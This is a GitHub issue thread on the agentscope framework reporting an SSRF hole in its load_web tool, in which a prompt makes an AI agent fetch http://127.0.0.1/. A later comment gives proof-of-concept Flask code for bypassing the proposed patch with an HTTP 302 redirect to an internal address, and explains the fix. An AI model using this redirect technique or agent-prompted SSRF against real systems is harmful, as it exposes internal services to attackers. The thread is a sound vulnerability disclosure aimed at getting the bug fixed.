modelscope / agentscope

Start building LLM-empowered multi-agent applications in an easier way.
https://doc.agentscope.io/
Apache License 2.0
4.8k stars 294 forks source link

[Bug]: Security bug: SSRF in load_web #412

Open SecureMPro opened 4 weeks ago

SecureMPro commented 4 weeks ago

Describe the bug Security bug: SSRF in load_web

To Reproduce Hello Developer,

I have noticed that agentscope does not implement security measures to sanitize the URL in load_web, which may result in SSRF vulnerability.

For instance, when I used the following prompt to load the web content, agentscope directly request the http://127.0.0.1/:

agentscope.init(model_configs="./1.json")

service_toolkit = ServiceToolkit()
service_toolkit.add(load_web)

agent = ReActAgent(
    name="assistant",
    model_config_name="testll",
    verbose=True,
    service_toolkit=service_toolkit,
    max_iters=1,
)

msg = Msg("user", "help me to load the following website: http://127.0.0.1/", role="user")
agent(msg)

By doing so, attackers can visit the intra-website, this could seriously compromise server security. image

image

DavdGao commented 3 weeks ago

Thanks for your attention, we will fix it as soon as possible

zpbrent commented 3 weeks ago

Hello, I find the proposed patch can be simply bypassed via the HTTP redirection trick. I demo the bypass steps as follows: 1, run the following Python scripts in any external IP to deploy a HTTP redirection web server:

import os
from flask import Flask,redirect

app = Flask(__name__)

@app.route('/redirect-local-http')
def localhttp():
    return redirect("http://127.0.0.1:8080/local", code=302)

if __name__ == '__main__':
    port = int(os.environ.get('PORT', 5000))
    app.run(host='0.0.0.0', port=port)

2, run the following Python code in local IP to deploy the real target:

import os
from flask import Flask

app = Flask(__name__)

@app.route('/local')
def hello():
    return 'Hello World!'

if __name__ == '__main__':
    port = int(os.environ.get('PORT', 8080))
    app.run(host='127.0.0.1', port=port)

3, then run the agent msg = Msg("user", "help me to load the following website: http://[external IP]:5000/redirect-local-http", role="user") to bypass the propsed patch and access the internal url http://127.0.0.1:8080/local

The root cause here is the HTTP redirection can still result in response.status_code = 200 and it is necessary to use response.history to further check the redirection behaviors or set allow_redirects=False to handle the redirection progress by yourself.